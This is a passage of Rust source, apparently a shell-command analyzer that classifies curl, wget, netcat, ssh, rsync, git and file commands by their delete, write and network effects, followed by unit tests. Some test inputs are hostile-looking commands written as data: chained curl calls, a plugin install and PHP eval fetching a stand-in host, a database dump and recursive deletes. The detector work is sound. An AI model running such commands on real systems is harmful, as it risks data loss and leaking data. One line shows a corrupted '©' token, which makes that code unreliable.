if parse_options(&REMOVE, args).is_some() {
deleted(tokens, here, out)
} else {
out.unresolved()
}
}
"find"
if args.iter().any(|arg| arg == "-delete")
&& !args
.iter()
.any(|arg| arg != "-delete" && FIND_MUTATING_FLAGS.contains(&arg.as_str())) =>
{
deleted(tokens, here, out)
}
"cp" | "mv" => copied(name, args, here, out),
"tee" | "touch" | "mkdir" => created(name, args, here, out),
"curl" => curl(args, here, out),
"wget" => wget(args, here, out),
"invoke-webrequest" => powershell_web(args, out),
name if in_powershell_table(POWERSHELL_DELETES, name) => {
if powershell_args_plain(args) {
deleted(tokens, here, out)
} else {
out.unresolved()
}
}
"http" | "https" | "xh" | "xhs" => httpie(args, here, out),
"nc" | "ncat" | "netcat" => netcat(args, out),
"ssh" => ssh(args, here, out),
"scp" => scp(args, here, out),
"rsync" => rsync(args, here, out),
"git" => git(args, here, out),
_ => out.opaque(),
}
}
fn powershell_web(args: &[String], out: &mut ShellAnalysis) {
out.opaque();
for arg in args {
if arg.contains("://") {
match url_effect(arg) {
Some(key) => out.add(key),
None => out.unresolved(),
}
}
}
}
const REMOVE: OptionSpec = OptionSpec {
flags: "rRfidIvP",
valued: &[],
long_flags: &[
"recursive",
"force",
"dir",
"verbose",
"interactive",
"one-file-system",
"preserve-root",
"ignore-fail-on-non-empty",
"parents",
],
long_valued: &[],
long_equals: false,
exact: &[],
stop_at_positional: false,
};
fn deleted(tokens: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
match delete_targets(&shell_words::join(tokens)) {
Some(targets) => {
for target in targets {
out.path(EffectClass::Delete, &target, cwd);
}
}
None => out.unresolved(),
}
}
#[derive(Clone, Copy, PartialEq, Eq)]
enum OptionValue {
Ignore,
Url,
Write,
Document,
Port,
TargetDir,
}
struct OptionSpec {
flags: &'static str,
valued: &'static [(char, OptionValue)],
long_flags: &'static [&'static str],
long_valued: &'static [(&'static str, OptionValue)],
long_equals: bool,
exact: &'static [&'static str],
stop_at_positional: bool,
}
#[derive(Default)]
struct ParsedOptions {
positionals: Vec<String>,
values: Vec<(OptionValue, String)>,
long_flags: Vec<String>,
}
fn parse_options(spec: &OptionSpec, args: &[String]) -> Option<ParsedOptions> {
let mut parsed = ParsedOptions::default();
let mut index = 0;
let mut options_done = false;
while index < args.len() {
let arg = &args[index];
index += 1;
if options_done || arg == "-" || !arg.starts_with('-') {
parsed.positionals.push(arg.clone());
options_done |= spec.stop_at_positional;
continue;
}
if arg == "--" {
options_done = true;
continue;
}
if spec.exact.contains(&arg.as_str()) {
continue;
}
if let Some(long) = arg.strip_prefix("--") {
if let Some((name, value)) = long.split_once('=') {
if !spec.long_equals {
return None;
}
let role = lookup(spec.long_valued, name)?;
parsed.values.push((role, attached_value(value)));
} else if spec.long_flags.contains(&long) {
parsed.long_flags.push(long.to_string());
} else {
let role = lookup(spec.long_valued, long)?;
parsed.values.push((role, args.get(index)?.clone()));
index += 1;
}
continue;
}
let cluster: Vec<char> = arg[1..].chars().collect();
for (position, letter) in cluster.iter().enumerate() {
if spec.flags.contains(*letter) {
continue;
}
let role = spec
.valued
.iter()
.find(|(short, _)| short == letter)
.map(|(_, role)| *role)?;
let rest: String = cluster[position + 1..].iter().collect();
let value = if rest.is_empty() {
index += 1;
args.get(index - 1)?.clone()
} else {
rest
};
parsed.values.push((role, attached_value(&value)));
break;
}
}
Some(parsed)
}
fn attached_value(value: &str) -> String {
if value.starts_with('~') {
format!("./{value}")
} else {
value.to_string()
}
}
fn lookup(table: &[(&str, OptionValue)], name: &str) -> Option<OptionValue> {
table
.iter()
.find(|(long, _)| *long == name)
.map(|(_, role)| *role)
}
fn apply_values(parsed: &ParsedOptions, cwd: Option<&str>, out: &mut ShellAnalysis) {
for (role, value) in &parsed.values {
match role {
OptionValue::Write | OptionValue::Document if value != "-" => {
out.path(EffectClass::Write, value, cwd)
}
OptionValue::Url => out.egress(url_effect(value)),
_ => {}
}
}
}
const CURL: OptionSpec = OptionSpec {
flags: "sSLfiIkvGNqjgn0123456#Z",
valued: &[
('X', OptionValue::Ignore),
('d', OptionValue::Ignore),
('H', OptionValue::Ignore),
('u', OptionValue::Ignore),
('A', OptionValue::Ignore),
('e', OptionValue::Ignore),
('F', OptionValue::Ignore),
('m', OptionValue::Ignore),
('T', OptionValue::Ignore),
('b', OptionValue::Ignore),
('w', OptionValue::Ignore),
('r', OptionValue::Ignore),
('C', OptionValue::Ignore),
('Y', OptionValue::Ignore),
('y', OptionValue::Ignore),
('z', OptionValue::Ignore),
('E', OptionValue::Ignore),
('U', OptionValue::Ignore),
('o', OptionValue::Write),
('D', OptionValue::Write),
('c', OptionValue::Write),
],
long_flags: &[
"silent",
"show-error",
"location",
"location-trusted",
"fail",
"fail-with-body",
"fail-early",
"include",
"head",
"insecure",
"verbose",
"get",
"compressed",
"http0.9",
"http1.0",
"http1.1",
"http2",
"http2-prior-knowledge",
"http3",
"http3-only",
"no-buffer",
"globoff",
"ipv4",
"ipv6",
"no-progress-meter",
"progress-bar",
"netrc",
"netrc-optional",
"raw",
"tr-encoding",
"no-keepalive",
"ssl-reqd",
"tcp-nodelay",
"path-as-is",
"retry-all-errors",
"retry-connrefused",
"anyauth",
"basic",
"digest",
"ntlm",
"negotiate",
"disable",
"junk-session-cookies",
"parallel",
"tlsv1.2",
"tlsv1.3",
"styled-output",
"no-styled-output",
],
long_valued: &[
("url", OptionValue::Url),
("request", OptionValue::Ignore),
("data", OptionValue::Ignore),
("data-raw", OptionValue::Ignore),
("data-binary", OptionValue::Ignore),
("data-urlencode", OptionValue::Ignore),
("data-ascii", OptionValue::Ignore),
("json", OptionValue::Ignore),
("header", OptionValue::Ignore),
("user", OptionValue::Ignore),
("user-agent", OptionValue::Ignore),
("referer", OptionValue::Ignore),
("form", OptionValue::Ignore),
("form-string", OptionValue::Ignore),
("max-time", OptionValue::Ignore),
("connect-timeout", OptionValue::Ignore),
("upload-file", OptionValue::Ignore),
("cookie", OptionValue::Ignore),
("write-out", OptionValue::Ignore),
("range", OptionValue::Ignore),
("retry", OptionValue::Ignore),
("retry-delay", OptionValue::Ignore),
("retry-max-time", OptionValue::Ignore),
("cacert", OptionValue::Ignore),
("capath", OptionValue::Ignore),
("cert", OptionValue::Ignore),
("cert-type", OptionValue::Ignore),
("key", OptionValue::Ignore),
("key-type", OptionValue::Ignore),
("oauth2-bearer", OptionValue::Ignore),
("max-redirs", OptionValue::Ignore),
("limit-rate", OptionValue::Ignore),
("max-filesize", OptionValue::Ignore),
("continue-at", OptionValue::Ignore),
("time-cond", OptionValue::Ignore),
("proxy-user", OptionValue::Ignore),
("output", OptionValue::Write),
("dump-header", OptionValue::Write),
("cookie-jar", OptionValue::Write),
("trace", OptionValue::Write),
("trace-ascii", OptionValue::Write),
("libcurl", OptionValue::Write),
("stderr", OptionValue::Write),
("etag-save", OptionValue::Write),
],
long_equals: false,
exact: &[],
stop_at_positional: false,
};
fn curl(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
let Some(parsed) = parse_options(&CURL, args) else {
out.opaque();
return;
};
if parsed
.values
.iter()
.any(|(_, value)| value.contains("%output{"))
{
out.unresolved();
}
apply_values(&parsed, cwd, out);
for url in &parsed.positionals {
out.egress(url_effect(url));
}
}
const WGET: OptionSpec = OptionSpec {
flags: "qvSc",
valued: &[
('O', OptionValue::Document),
('o', OptionValue::Write),
('a', OptionValue::Write),
('T', OptionValue::Ignore),
('t', OptionValue::Ignore),
('U', OptionValue::Ignore),
],
long_flags: &[
"quiet",
"verbose",
"no-verbose",
"server-response",
"spider",
"continue",
"no-check-certificate",
"no-clobber",
"inet4-only",
"inet6-only",
"no-cache",
"no-cookies",
"content-on-error",
"ignore-length",
"auth-no-challenge",
"no-proxy",
],
long_valued: &[
("output-document", OptionValue::Document),
("output-file", OptionValue::Write),
("append-output", OptionValue::Write),
("save-cookies", OptionValue::Write),
("timeout", OptionValue::Ignore),
("tries", OptionValue::Ignore),
("header", OptionValue::Ignore),
("method", OptionValue::Ignore),
("body-data", OptionValue::Ignore),
("body-file", OptionValue::Ignore),
("post-data", OptionValue::Ignore),
("post-file", OptionValue::Ignore),
("user-agent", OptionValue::Ignore),
("user", OptionValue::Ignore),
("password", OptionValue::Ignore),
("http-user", OptionValue::Ignore),
("http-password", OptionValue::Ignore),
("referer", OptionValue::Ignore),
("wait", OptionValue::Ignore),
("limit-rate", OptionValue::Ignore),
("read-timeout", OptionValue::Ignore),
("connect-timeout", OptionValue::Ignore),
("dns-timeout", OptionValue::Ignore),
("max-redirect", OptionValue::Ignore),
("progress", OptionValue::Ignore),
("ca-certificate", OptionValue::Ignore),
("certificate", OptionValue::Ignore),
("private-key", OptionValue::Ignore),
("load-cookies", OptionValue::Ignore),
],
long_equals: true,
exact: &["-nv", "-nc", "-nd", "-nH"],
stop_at_positional: false,
};
fn wget(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
let Some(parsed) = parse_options(&WGET, args) else {
out.opaque();
return;
};
apply_values(&parsed, cwd, out);
for url in &parsed.positionals {
out.egress(url_effect(url));
}
let names_output = parsed
.values
.iter()
.any(|(role, _)| *role == OptionValue::Document);
let spider = parsed.long_flags.iter().any(|flag| flag == "spider");
if !names_output && !spider {
out.unresolved();
}
}
pub fn proven_fetch_urls(command: &str) -> Option<Vec<String>> {
let scanned = scan(command);
if scanned.unsafe_syntax || !scanned.separators.len().is_multiple_of(2) {
return None;
}
for (pair, between) in scanned
.separators
.chunks(2)
.zip(scanned.segments.iter().skip(1).step_by(2))
{
if pair != ['&', '&'] || !between.is_empty() {
return None;
}
}
let mut urls = Vec::new();
for segment in scanned.segments.iter().step_by(2) {
if has_expansion(segment) {
return None;
}
let tokens = strip_redirections(shell_words::split(segment).ok()?);
let (program, args) = tokens.split_first()?;
let path_ok = !program.contains('/')
|| program
.rsplit_once('/')
.is_some_and(|(dir, _)| SYSTEM_BIN_DIRS.contains(&dir));
if !path_ok {
return None;
}
let spec = match basename(program) {
"curl" => &CURL,
"wget" => &WGET,
_ => return None,
};
let parsed = parse_options(spec, args)?;
let mut named = parsed.positionals.iter().chain(
parsed
.values
.iter()
.filter(|(role, _)| *role == OptionValue::Url)
.map(|(_, value)| value),
);
let url = named.next()?;
if named.next().is_some() || strict_url(url).is_none() {
return None;
}
urls.push(url.clone());
}
Some(urls)
}
const HTTPIE: OptionSpec = OptionSpec {
flags: "vhbfjFIq",
valued: &[
('p', OptionValue::Ignore),
('s', OptionValue::Ignore),
('a', OptionValue::Ignore),
('A', OptionValue::Ignore),
('o', OptionValue::Write),
],
long_flags: &[
"json",
"form",
"multipart",
"verbose",
"headers",
"body",
"follow",
"check-status",
"ignore-stdin",
"quiet",
"offline",
"all",
],
long_valued: &[
("print", OptionValue::Ignore),
("pretty", OptionValue::Ignore),
("style", OptionValue::Ignore),
("auth", OptionValue::Ignore),
("auth-type", OptionValue::Ignore),
("timeout", OptionValue::Ignore),
("max-redirects", OptionValue::Ignore),
("verify", OptionValue::Ignore),
("cert", OptionValue::Ignore),
("cert-key", OptionValue::Ignore),
("output", OptionValue::Write),
],
long_equals: true,
exact: &[],
stop_at_positional: false,
};
fn httpie(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
let Some(parsed) = parse_options(&HTTPIE, args) else {
out.opaque();
return;
};
apply_values(&parsed, cwd, out);
let mut positionals = parsed.positionals.iter();
let mut url = positionals.next();
if url.is_some_and(|word| !word.is_empty() && word.chars().all(|c| c.is_ascii_uppercase())) {
url = positionals.next();
}
let Some(url) = url else {
out.opaque();
return;
};
out.egress(url_effect(url));
}
const NETCAT: OptionSpec = OptionSpec {
flags: "vznu46CDdN",
valued: &[
('w', OptionValue::Ignore),
('p', OptionValue::Ignore),
('s', OptionValue::Ignore),
('q', OptionValue::Ignore),
('i', OptionValue::Ignore),
],
long_flags: &[],
long_valued: &[],
long_equals: false,
exact: &[],
stop_at_positional: false,
};
fn netcat(args: &[String], out: &mut ShellAnalysis) {
let target = parse_options(&NETCAT, args).and_then(|parsed| match &parsed.positionals[..] {
[host, port] => egress_effect("", host, Some(port.parse::<u16>().ok()?)),
_ => None,
});
out.egress(target);
}
const SSH: OptionSpec = OptionSpec {
flags: "46AaCfGgKkMNnqsTtVvXxYy",
valued: &[
('p', OptionValue::Port),
('i', OptionValue::Ignore),
('l', OptionValue::Ignore),
('L', OptionValue::Ignore),
('R', OptionValue::Ignore),
('D', OptionValue::Ignore),
('c', OptionValue::Ignore),
('m', OptionValue::Ignore),
('b', OptionValue::Ignore),
('e', OptionValue::Ignore),
('E', OptionValue::Write),
],
long_flags: &[],
long_valued: &[],
long_equals: false,
exact: &[],
stop_at_positional: true,
};
fn port_option(parsed: &ParsedOptions) -> Result<Option<u16>, ()> {
match parsed
.values
.iter()
.rev()
.find(|(role, _)| *role == OptionValue::Port)
{
Some((_, port)) => port.parse::<u16>().map(Some).map_err(|_| ()),
None => Ok(None),
}
}
fn ssh_host_effect(destination: &str, port: Option<u16>) -> Option<EffectKey> {
if destination.matches('@').count() > 1 {
return None;
}
let host = destination
.rsplit_once('@')
.map_or(destination, |(_, host)| host);
egress_effect("ssh", host, port)
}
fn ssh(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
let Some(parsed) = parse_options(&SSH, args) else {
out.opaque();
return;
};
apply_values(&parsed, cwd, out);
let Ok(port) = port_option(&parsed) else {
out.opaque();
return;
};
let key = parsed.positionals.first().and_then(|destination| {
if destination.contains("://") {
let url = strict_url(destination)?;
if url.scheme() != "ssh" {
return None;
}
egress_effect("ssh", url.host_str()?, port.or(url.port()))
} else {
ssh_host_effect(destination, port)
}
});
out.egress(key);
}
fn remote_operand(operand: &str, scheme: &str, port: Option<u16>) -> Result<Option<EffectKey>, ()> {
if operand.contains("://") {
return url_effect(operand).map(Some).ok_or(());
}
if operand.starts_with(['/', '.', '~']) {
return Ok(None);
}
let (user_host, rest) = match operand.find('[') {
Some(open) => {
let close = operand.find(']').ok_or(())?;
if close < open || operand.as_bytes().get(close + 1) != Some(&b':') {
return Err(());
}
(&operand[..=close], &operand[close + 1..])
}
None => match operand.split_once(':') {
Some((before, _)) if !before.contains('/') => (before, &operand[before.len()..]),
_ => return Ok(None),
},
};
if user_host.is_empty() {
return Err(());
}
if rest.starts_with("::") && scheme == "rsync" {
let host = user_host
.rsplit_once('@')
.map_or(user_host, |(_, host)| host);
return egress_effect("rsync", host, port.or(Some(873)))
.map(Some)
.ok_or(());
}
ssh_host_effect(user_host, port).map(Some).ok_or(())
}
fn transfer(
positionals: &[String],
scheme: &str,
port: Option<u16>,
cwd: Option<&str>,
out: &mut ShellAnalysis,
) -> Option<bool> {
let Some((destination, sources)) = positionals.split_last().filter(|(_, s)| !s.is_empty())
else {
out.opaque();
return None;
};
for source in sources {
match remote_operand(source, scheme, port) {
Ok(Some(key)) => out.add(key),
Ok(None) => {}
Err(()) => out.opaque(),
}
}
match remote_operand(destination, scheme, port) {
Ok(Some(key)) => {
out.add(key);
Some(false)
}
Ok(None) => {
out.path(EffectClass::Write, destination, cwd);
Some(true)
}
Err(()) => {
out.opaque();
None
}
}
}
const SCP: OptionSpec = OptionSpec {
flags: "346BCpqrTvA",
valued: &[
('P', OptionValue::Port),
('i', OptionValue::Ignore),
('l', OptionValue::Ignore),
('c', OptionValue::Ignore),
],
long_flags: &[],
long_valued: &[],
long_equals: false,
exact: &[],
stop_at_positional: false,
};
fn scp(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
let Some(parsed) = parse_options(&SCP, args) else {
out.opaque();
return;
};
let Ok(port) = port_option(&parsed) else {
out.opaque();
return;
};
transfer(&parsed.positionals, "ssh", port, cwd, out);
}
const RSYNC: OptionSpec = OptionSpec {
flags: "avzrlptgoDhPnciuqHAXSWxRIKLkmyO",
valued: &[('B', OptionValue::Ignore)],
long_flags: &[
"archive",
"verbose",
"compress",
"recursive",
"links",
"perms",
"times",
"group",
"owner",
"devices",
"specials",
"human-readable",
"progress",
"partial",
"dry-run",
"checksum",
"update",
"quiet",
"hard-links",
"acls",
"xattrs",
"sparse",
"whole-file",
"one-file-system",
"relative",
"ignore-existing",
"inplace",
"append",
"stats",
"itemize-changes",
"delete",
"delete-before",
"delete-during",
"delete-after",
"delete-delay",
"delete-excluded",
"remove-source-files",
"prune-empty-dirs",
"numeric-ids",
"safe-links",
"copy-links",
"keep-dirlinks",
"no-motd",
"mkpath",
],
long_valued: &[
("exclude", OptionValue::Ignore),
("include", OptionValue::Ignore),
("exclude-from", OptionValue::Ignore),
("include-from", OptionValue::Ignore),
("bwlimit", OptionValue::Ignore),
("timeout", OptionValue::Ignore),
("contimeout", OptionValue::Ignore),
("chmod", OptionValue::Ignore),
("max-size", OptionValue::Ignore),
("min-size", OptionValue::Ignore),
("password-file", OptionValue::Ignore),
],
long_equals: true,
exact: &[],
stop_at_positional: false,
};
fn rsync(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
let Some(parsed) = parse_options(&RSYNC, args) else {
out.opaque();
return;
};
let port = None;
let Some(local_destination) = transfer(&parsed.positionals, "rsync", port, cwd, out) else {
return;
};
let flag = |name: &str| parsed.long_flags.iter().any(|flag| flag.starts_with(name));
let Some((destination, sources)) = parsed.positionals.split_last() else {
return;
};
if flag("delete") && local_destination {
out.path(EffectClass::Delete, destination, cwd);
}
if flag("remove-source-files") {
for source in sources {
if matches!(remote_operand(source, "rsync", port), Ok(None)) {
out.path(EffectClass::Delete, source, cwd);
}
}
}
}
const COPY: OptionSpec = OptionSpec {
flags: "rRfinpavLPHlsuxXTcdD",
valued: &[('t', OptionValue::TargetDir)],
long_flags: &[
"archive",
"recursive",
"force",
"interactive",
"no-clobber",
"verbose",
"update",
"parents",
"no-target-directory",
"dereference",
"no-dereference",
"one-file-system",
"link",
"symbolic-link",
"preserve",
"reflink",
"strip-trailing-slashes",
],
long_valued: &[
("target-directory", OptionValue::TargetDir),
("preserve", OptionValue::Ignore),
("no-preserve", OptionValue::Ignore),
("sparse", OptionValue::Ignore),
("reflink", OptionValue::Ignore),
("update", OptionValue::Ignore),
],
long_equals: true,
exact: &[],
stop_at_positional: false,
};
fn copied(program: &str, args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
let Some(parsed) = parse_options(©, args) else {
out.unresolved();
return;
};
let target_dir = parsed
.values
.iter()
.rev()
.find(|(role, _)| *role == OptionValue::TargetDir)
.map(|(_, dir)| dir.clone());
let (destination, sources) = match &target_dir {
Some(dir) => (dir.as_str(), &parsed.positionals[..]),
None => match parsed.positionals.split_last() {
Some((destination, sources)) if !sources.is_empty() => (destination.as_str(), sources),
_ => {
out.unresolved();
return;
}
},
};
out.path(EffectClass::Write, destination, cwd);
if program == "mv" {
for source in sources {
out.path(EffectClass::Delete, source, cwd);
}
}
}
const CREATE: OptionSpec = OptionSpec {
flags: "aipcmhf",
valued: &[
('t', OptionValue::Ignore),
('d', OptionValue::Ignore),
('r', OptionValue::Ignore),
],
long_flags: &[
"append",
"ignore-interrupts",
"no-create",
"no-dereference",
"parents",
"verbose",
],
long_valued: &[
("output-error", OptionValue::Ignore),
("date", OptionValue::Ignore),
("reference", OptionValue::Ignore),
("time", OptionValue::Ignore),
("mode", OptionValue::Ignore),
],
long_equals: true,
exact: &[],
stop_at_positional: false,
};
fn created(program: &str, args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
let spec = if program == "mkdir" {
OptionSpec {
flags: "pv",
valued: &[('m', OptionValue::Ignore)],
..CREATE
}
} else {
CREATE
};
match parse_options(&spec, args) {
Some(parsed) => {
for operand in &parsed.positionals {
if operand != "-" {
out.path(EffectClass::Write, operand, cwd);
}
}
}
None => out.unresolved(),
}
}
const GIT_CLONE: OptionSpec = OptionSpec {
flags: "qvnls",
valued: &[
('b', OptionValue::Ignore),
('o', OptionValue::Ignore),
('j', OptionValue::Ignore),
('u', OptionValue::Ignore),
('c', OptionValue::Ignore),
],
long_flags: &[
"quiet",
"verbose",
"progress",
"no-checkout",
"bare",
"mirror",
"single-branch",
"no-single-branch",
"no-tags",
"shallow-submodules",
"no-hardlinks",
"local",
"shared",
"sparse",
"recurse-submodules",
],
long_valued: &[
("branch", OptionValue::Ignore),
("origin", OptionValue::Ignore),
("depth", OptionValue::Ignore),
("shallow-since", OptionValue::Ignore),
("shallow-exclude", OptionValue::Ignore),
("filter", OptionValue::Ignore),
("jobs", OptionValue::Ignore),
("upload-pack", OptionValue::Ignore),
("template", OptionValue::Ignore),
("separate-git-dir", OptionValue::Ignore),
("reference", OptionValue::Ignore),
("config", OptionValue::Ignore),
("recurse-submodules", OptionValue::Ignore),
],
long_equals: true,
exact: &[],
stop_at_positional: false,
};
const GIT_FETCH: OptionSpec = OptionSpec {
flags: "qvafkmnpPtu",
valued: &[('j', OptionValue::Ignore), ('o', OptionValue::Ignore)],
long_flags: &[
"quiet",
"verbose",
"progress",
"force",
"tags",
"no-tags",
"prune",
"dry-run",
"unshallow",
"update-head-ok",
"append",
],
long_valued: &[
("depth", OptionValue::Ignore),
("deepen", OptionValue::Ignore),
("shallow-since", OptionValue::Ignore),
("shallow-exclude", OptionValue::Ignore),
("jobs", OptionValue::Ignore),
("upload-pack", OptionValue::Ignore),
("refmap", OptionValue::Ignore),
("server-option", OptionValue::Ignore),
("recurse-submodules", OptionValue::Ignore),
],
long_equals: true,
exact: &[],
stop_at_positional: false,
};
const GIT_PULL: OptionSpec = OptionSpec {
flags: "qvnfkr",
valued: &[
('s', OptionValue::Ignore),
('X', OptionValue::Ignore),
('j', OptionValue::Ignore),
('o', OptionValue::Ignore),
],
long_flags: &[
"quiet",
"verbose",
"progress",
"force",
"tags",
"no-tags",
"prune",
"rebase",
"no-rebase",
"ff-only",
"ff",
"no-ff",
"unshallow",
"autostash",
"no-autostash",
],
long_valued: &[
("strategy", OptionValue::Ignore),
("strategy-option", OptionValue::Ignore),
("depth", OptionValue::Ignore),
("jobs", OptionValue::Ignore),
("rebase", OptionValue::Ignore),
("upload-pack", OptionValue::Ignore),
("recurse-submodules", OptionValue::Ignore),
],
long_equals: true,
exact: &[],
stop_at_positional: false,
};
const GIT_PUSH: OptionSpec = OptionSpec {
flags: "qvfnud",
valued: &[('o', OptionValue::Ignore)],
long_flags: &[
"quiet",
"verbose",
"progress",
"force",
"tags",
"all",
"mirror",
"dry-run",
"atomic",
"follow-tags",
"set-upstream",
"delete",
"prune",
"force-with-lease",
"no-verify",
],
long_valued: &[
("push-option", OptionValue::Ignore),
("force-with-lease", OptionValue::Ignore),
("receive-pack", OptionValue::Ignore),
("exec", OptionValue::Ignore),
("repo", OptionValue::Ignore),
("recurse-submodules", OptionValue::Ignore),
],
long_equals: true,
exact: &[],
stop_at_positional: false,
};
fn git_remote(remote: &str) -> Result<Option<EffectKey>, ()> {
if remote.contains("::") {
return Err(());
}
if let Some(scheme_end) = remote.find("://") {
return match &remote[..scheme_end] {
"file" => Ok(None),
"ext" => Err(()),
_ => url_effect(remote).map(Some).ok_or(()),
};
}
if remote.starts_with(['/', '.', '~']) {
return Ok(None);
}
match remote.split_once(':') {
Some((before, _)) if !before.contains('/') && !before.is_empty() => {
ssh_host_effect(before, None).map(Some).ok_or(())
}
_ => Err(()),
}
}
fn git(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
let Some(subcommand) = args.first().filter(|arg| !arg.starts_with('-')) else {
out.opaque();
return;
};
let rest = &args[1..];
out.opaque();
if subcommand == "ls-remote" {
if let [remote] = rest
&& let Some(key) = url_effect(remote)
{
out.add(key);
}
return;
}
let spec = match subcommand.as_str() {
"clone" => &GIT_CLONE,
"fetch" => &GIT_FETCH,
"pull" => &GIT_PULL,
"push" => &GIT_PUSH,
_ => {
out.opaque();
return;
}
};
out.opaque();
let Some(parsed) = parse_options(spec, rest) else {
return;
};
let Some(remote) = parsed.positionals.first() else {
return;
};
if let Ok(Some(key)) = git_remote(remote) {
out.add(key);
}
if subcommand == "clone"
&& let Some(directory) = parsed.positionals.get(1)
{
out.path(EffectClass::Write, directory, cwd);
}
}
#[cfg(test)]
mod remote_inner_tests {
use super::{recognizably_changes, remote_inner_only_reads};
#[test]
fn only_a_recognized_change_counts() {
for change in [
"docker exec app-1 bash -lc 'printf x > /app/move.txt'",
"docker exec app-1 chmod +x /app/run.sh",
"ssh host 'sudo apt-get install -y nginx'",
"sed -i 's/a/b/' notes.txt",
"mkdir -p out && cp a.txt out/",
"git commit -m synthetic",
] {
assert!(recognizably_changes(change), "{change}");
}
for not_recognized in [
"docker exec app-1 bash -lc 'ls /app; cat /app/a'",
"docker exec app-1 python3 /app/run.py",
"./deploy.sh",
"ls -la",
"sed 's/a/b/' notes.txt",
] {
assert!(!recognizably_changes(not_recognized), "{not_recognized}");
}
}
#[test]
fn a_heredoc_write_inside_a_remote_exec_is_a_change() {
for change in [
"docker exec app-1 bash -lc 'cat > /app/proc.py <<\"EOF\"\nimport csv\nprint(1)\nEOF'",
"docker exec app-1 bash -lc 'cat > /app/proc.py <<'\"'\"'EOF'\"'\"'\nimport csv\nEOF\ncd /app && python3 proc.py'",
"docker exec app-1 bash -lc 'cat > /app/proc.py <<EOF\nx = {\"a\": 1}\nEOF'",
"docker exec app-1 bash -lc 'cd /app && cat <<EOF > out.txt\nhello\nEOF'",
] {
assert!(recognizably_changes(change), "{change}");
assert_eq!(remote_inner_only_reads(change), Some(false), "{change}");
}
}
#[test]
fn the_command_inside_a_remote_exec_is_judged() {
assert_eq!(
remote_inner_only_reads("docker exec app-1 bash -lc 'ls -la /app; cat /app/a.txt'"),
Some(true)
);
assert_eq!(
remote_inner_only_reads(
"docker exec -w /app app-1 bash -lc 'printf x > /app/move.txt'"
),
Some(false)
);
assert_eq!(
remote_inner_only_reads("docker exec -e K=v app-1 rm -f /app/old.log"),
Some(false)
);
assert_eq!(
remote_inner_only_reads("ssh -p 2222 host cat /etc/hostname"),
Some(true)
);
assert_eq!(
remote_inner_only_reads("ssh host 'systemctl restart nginx'"),
Some(false)
);
assert_eq!(
remote_inner_only_reads("kubectl exec pod-1 -- sh -c 'ls /data'"),
Some(true)
);
assert_eq!(
remote_inner_only_reads("docker compose exec -T web sh -c 'cat /srv/a'"),
Some(true)
);
assert_eq!(
remote_inner_only_reads("lxc exec box -- touch /tmp/a"),
Some(false)
);
assert_eq!(
remote_inner_only_reads("vagrant ssh -c 'ls /vagrant'"),
Some(true)
);
assert_eq!(
remote_inner_only_reads("gcloud compute ssh vm-1 --command='rm -f /tmp/a'"),
Some(false)
);
assert_eq!(remote_inner_only_reads("ls /app"), None);
assert_eq!(remote_inner_only_reads("docker ps"), None);
assert_eq!(
remote_inner_only_reads("docker exec app-1 ls && rm -rf /tmp/x"),
None
);
}
}
#[cfg(test)]
mod tests {
#[test]
fn a_ddev_project_command_acts_on_its_own_project() {
for own in [
"ddev drush watchdog:show --count=8",
"ddev drush cr",
"ddev wp option update blogname 'Claude Company' --path=web",
"ddev wp user update 1 --display_name=Admin",
] {
assert!(super::acts_on_its_ddev_project(own), "{own}");
}
for other in [
"ddev drush php:eval 'file_get_contents(\"https://x.invalid\");'",
"ddev wp eval 'echo 1;'",
"ddev wp plugin install https://x.invalid/p.zip",
"ddev drush sql:dump > /tmp/dump.sql",
"ddev exec curl https://x.invalid",
"ddev drush --eval=1 status",
"cd /elsewhere && ddev drush cr",
"ddev drush cr; curl https://x.invalid",
] {
assert!(!super::acts_on_its_ddev_project(other), "{other}");
}
}
use super::*;
#[test]
fn a_command_is_labelled_by_its_program() {
assert_eq!(
program_label("for i in $(seq 1 200); do echo $i; sleep 2; done; echo done"),
"a shell loop"
);
assert_eq!(
program_label("while kill -0 123; do sleep 5; done"),
"a shell loop"
);
assert_eq!(program_label("cd /srv/demo && ddev start"), "ddev");
assert_eq!(program_label("ddev drush site:install -y"), "ddev");
assert_eq!(
program_label("FOO=1 nohup /usr/bin/python3 serve.py"),
"python3"
);
assert_eq!(program_label(""), "a command");
}
const INSPECT_SITES: &str = "cd /Users/alice/projects && for d in claude-drupal \
claude-wordpress; do echo \"== $d\"; ls -la $d | head -30; ls $d/.ddev 2>&1 | head; \
(cd $d && ddev describe 2>&1 | head -25); done";
#[test]
fn a_read_only_loop_with_a_subshell_is_local_work() {
let effects = command_effects(INSPECT_SITES);
assert!(effects.local_work_only, "{INSPECT_SITES}");
assert!(!effects.deletes);
assert!(reaches_only_this_computer(INSPECT_SITES));
assert!(!fetches_network(INSPECT_SITES));
for read in [
"for d in a b; do echo \"== $d\"; ls -la $d | head -30; done",
"(ls -la /tmp && pwd) 2>&1 | head",
"for d in a b; do for f in x y; do cat ${d}/$f; done; done",
"for f in *.log; do tail -5 $f; done",
] {
assert!(command_effects(read).observation_only, "{read}");
}
let deleting = INSPECT_SITES.replace("ls -la $d | head -30", "rm -rf $d");
let effects = command_effects(&deleting);
assert!(
effects.deletes && effects.delete_targets.is_none(),
"{deleting}"
);
assert!(!effects.observation_only);
assert!(!reaches_only_this_computer(&deleting));
let writing = INSPECT_SITES.replace("ls -la $d | head -30", "ls -la $d > notes.txt");
assert!(!command_effects(&writing).observation_only, "{writing}");
for not_understood in [
"for x in \"-o out\"; do sort $x f; done",
"for x in $FLAGS; do sort $x f; done",
"for x in -o; do sort $x out f; done",
"for x in -delete; do find . $x; done",
"for p in ls rm; do $p x; done",
"for p in rm; do (cd /tmp && $p -rf x); done",
"for p in ls; do $p x; done; rm y",
"for d in a; do ls $d",
"for d in a; ls $d; done",
"for d; do ls $d; done",
"for ((i=0;i<3;i++)); do ls; done",
"while true; do ls; done",
"if true; then ls; fi",
"ls (cd x)",
"(ls) ls",
"(ls",
"ls)",
"f() (ls); f",
"(echo $(rm x))",
] {
let effects = command_effects(not_understood);
